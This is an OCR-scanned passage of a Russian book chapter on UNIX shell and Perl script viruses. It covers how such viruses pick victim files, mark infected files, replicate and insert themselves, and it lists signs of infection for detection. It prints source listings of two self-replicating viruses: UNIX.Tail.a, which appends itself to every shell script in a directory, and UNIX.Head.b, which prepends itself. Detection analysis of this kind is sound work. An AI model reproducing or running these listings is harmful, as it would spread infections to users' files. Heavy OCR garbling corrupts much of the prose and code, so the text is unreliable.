Раздел: Документация
0 ... 14 15 16 17 18 19 20 ... 102 o;lHa мало-мальски серьезная Perl-программа не обходится без файло-11 ввода/вывода, чРезвычаино затрудняет выявление вирусного кода, осо-0I ю ее чн чтение файла происходит в одной ветке программы, а определение "го типа- совсем в другой. •}врпстнческие алгоритмы поиска жертвы состоят в выделении уникальных последовательностей, присущих файлам данного типа и не встречающихся ни каких других. Так, наличие конструкции "if [" с вероятностью, близкой к единице указывает на командный скрипт. Некоторые вирусы отождествляют командные файлы но строке Bourne, которая присутствует в некоторых, хотя и далеко не во всех скриптах. Естественно, никаких универсальных приемов распознавания эвристических алгоритмов не существует (на то они и эвристические алгоритмы). Во избежание многократного инфицирования файла-носителя вирусы должны уметь распознавать факт своего присутствия в нем. Наиболее очевидный (н популярный!) алгоритм сводится к внедрению специальной ключевой метки (вроде «это я Вася»), представляющей собой уникальную последовательность команд, так сказать, сигнатуру вируса или же просто замысловатый комментарий. Строго говоря, гарантированная уникальность вирусам совершенно не нужна. Достаточно, чтобы ключевая метка отсутствовала более чем в половине верифицированных файлов. Поиск ключевой метки может осуществляться как командами f ind/greep, так и построчным чтением из файла с последующим сличением добытых строк с эталоном. Скрипты командных интерпретаторов используют дня этой цели команды head и tail, применяемые совместно с оператором "=", ну а Perl-вирусы все больше тяготеют к регулярным выражениям, что существенно затрудняет их выявление, так как без регулярных выражений не обходится практически ни одна Perl-программа. Другой возможной зацепкой является переменная "$0", используемая вирусами для определения собственного имени. Не секрет, что интерпретируемые языки программирования не имеют никакого представления о том, каким именно ооразом скрипты размещаются в памяти, и при всем желании не могут «дотянуться» до них. А раз так, то единственным способом репродуцирования свое-10 ТСЛа остается чтение исходного файла, имя которого передается в нулевом •фгументе командной строки. Это достаточно характерный признак заражения "сследусмого файла, ибо существует очень немного причин, по которым про-Рамма может интересоваться своим названием и путем. corf04tM сУ"1ествУет (по крайней мере, теоретически) и альтернативный спо-Размножения. Он работает по тем же принципам, что и программа, распеча-•вающая сама себя (в былое время без этой задачки не обходилась ни одна лч.\ин1ада по информатике). Решение сводится к формированию переменной, PaeP>KaiU™ "РОфаммный код вируса, с последующим внедрением оного в за-лел,ыйфаил. В простейшем случае для этого используется конструкция "«", ну В0ЛяЮ1Чая скрыть факт внедрения программного кода в текстовую иеремен-(и это выгодно отличает Perl от Си). Построчная генерация кода в стиле 1rus[0]= "\#\i\/USr\/bin\/perl" встречается реже, так как это слишком 56 Глава 2. Вирусы в UNIX, или Гибель ТитаНи громоздко, непрактично и к тому же наглядно (даже при беглом просмотре стинга выдает вирус с головой).",: Зашифрованные вирусы распознаются еще проще. Наиболее примитивные земнляры содержат большое количество «шумящих» двоичных последовате* ностей тина "\x73\xFF\x33\x69\x02\xll...", чьим флагманом является специф тор "\х", за которым следует ASCII-код зашифрованного символа. Бо- совершенные вирусы используют те или иные разновидности ULFЕ-кодцр0ва ния, благодаря чему все зашифрованные строки выглядят вполне читабельно хотя и представляют собой бессмысленную абракадабру вроде "UsKLEaS4lJk-Учитывая, что среднеминимальная длина Perl-вирусов составляет порячКа 500 байт, затеряться в теле жертвы им легко. Теперь рассмотрим пути внедрения вируса в файл. Файлы командного интерпретатора и программы, написанные на языке Perl, представляют собой неиерархическую последовательность команд, при необходимости включающую в себя определения функций. Здесь нет ничего хотя бы отдаленно напоминающего функцию main языка Си или блок BEGIN/END языка Паскаль. Вирусный код, тупо дописанный в конец файла, с вероятностью 90 % успешно получит управление и будет корректно работать. Оставшиеся 10 % приходятся на случаи преждевременного выхода из программы по exit или ее принудительного завершения по Ctrl+С.Для копирования своего тела из конца одного файла в конец другого вирусы обычно используют команду tail (листинг 2.2). Листинг 2.2. Фрагмент вируса UNIX.Tail.a, дописывающего себя в конец файла (оригинальные строки файла-жертвы выделены курсивом) #!/bin/sh echo "Hello. World!" for F in * do if ["SChead -c9 $F 2>/dev/nu)))"="#!/bin/sh" -a "$(tail -1 $F 2>/dev/nul1)"!="#:-P" then tail -8 $0 » $F 2>/dev/nul1 fi done #:-P Другие вирусы внедряются в начало файла, перехватывая все управление себя. Некоторые из них содержат забавную ошибку, приводящую к дублир пню строки "!#/bin/xxx", первая из которых принадлежит вирусу, а втор самой зараженной программе. Наличие двух магических последовательн "!#" в анализируемом файле красноречиво свидетельствует о его зараЖ*- однако подавляющее большинство вирусов обрабатывает эту ситуацию в корректно, копируя свое тело не с первой, а со второй строки (листинг £ Листинг 2.3. Фрагмент вируса UNIX.Head.b, внедряющегося в начало файла (оригинальные строки файла-жертвы выделены курсивом) #!/bin/sh for F in * вирУ2! d0 d с9 $f 2>/dev/nulD" -= "#!/bin/sh" ] then ,f C %шй -И J0 » tmp cat $F » tmp mv tmp $F fi ! ie весьма немногочисленные вирусы внедряются в середину файла, ° а перемешиваясь с его оригинальным содержимым. Естественно, для того, 1П1овыЩюПССС репродуцирования не прекратился, вирус должен каким-либо , , 1Юмечать «свои» строки (например, снабжать их комментарием •#MY LINE") либо же внедряться в фиксированные строки (например, начиная с тринадцатой строки каждая нечетная строка файла содержит тело вируса). Первый алгоритм слишком нагляден, второй — слишком нежизнеспособен (часть вируса может попасть в одну функцию, а часть — совсем в дру!-ую), поэтому останавливаться на этих вирусах мы не будем. Таким образом, наиболее вирусоонасными являются начало и конец всякого файла. Их следует изучать с особой тщательностью, не забывая о том, что вирус может содержать некоторое количество «отвлекающих» команд, имитирующих ту или иную работу. Встречаются н вирусы-спутники, вообще не «дотрагивающиеся» до оригиналь-вых файлов, но во множестве создающие их «двойников» в остальных каталогах. Поклонники чистой командной строки, просматривающие содержимое директорий через Is, могут этого и не заметить, так как команда Is вполне может иметь «двойника», предусмотрительно убирающего свое имя из списка ото-оражаемых файлов. Не стоит забывать и о том, что создателям вирусов не чуждо элементарное чувство беспечности, и откровенные наименования процедур и/или переменных встиле «lnfected», «Virus», «ZARAZA» - отнюдь не редкость. (титьДа ВИРусам (ос°бепио полиморфным и зашифрованным) требуется поме-"еРедавСТЬ ПРогРаммно1 ° кол-а во временный файл, полностью или частично chmod +х )а:,ды ПРавления. Тогда в теле скрипта появляется команда Дать чтПрИсваиваю1Цая файлу атрибут исполняемого. Впрочем, иестоит ожи-Ких Уси аВ.Т° ВиРУса окажется столь ленив и наивен, что не предпримет ника-т<> впппл Для сокРытия своих намерений. Скорее всего, нам встретится что- водная таблица наиболее характерных признаков наличия вируса с краткими комментариями Комментарий - \/usr\/tnn\/perl" Если расположена не в первой строке файла, скрипт скорее всего заражен, особенно если последовательность "#!" находится внутри оператора if-then или же передается командами дгеер и/или find Продолжение & в скрипта*.-- 0 ... 14 15 16 17 18 19 20 ... 102
|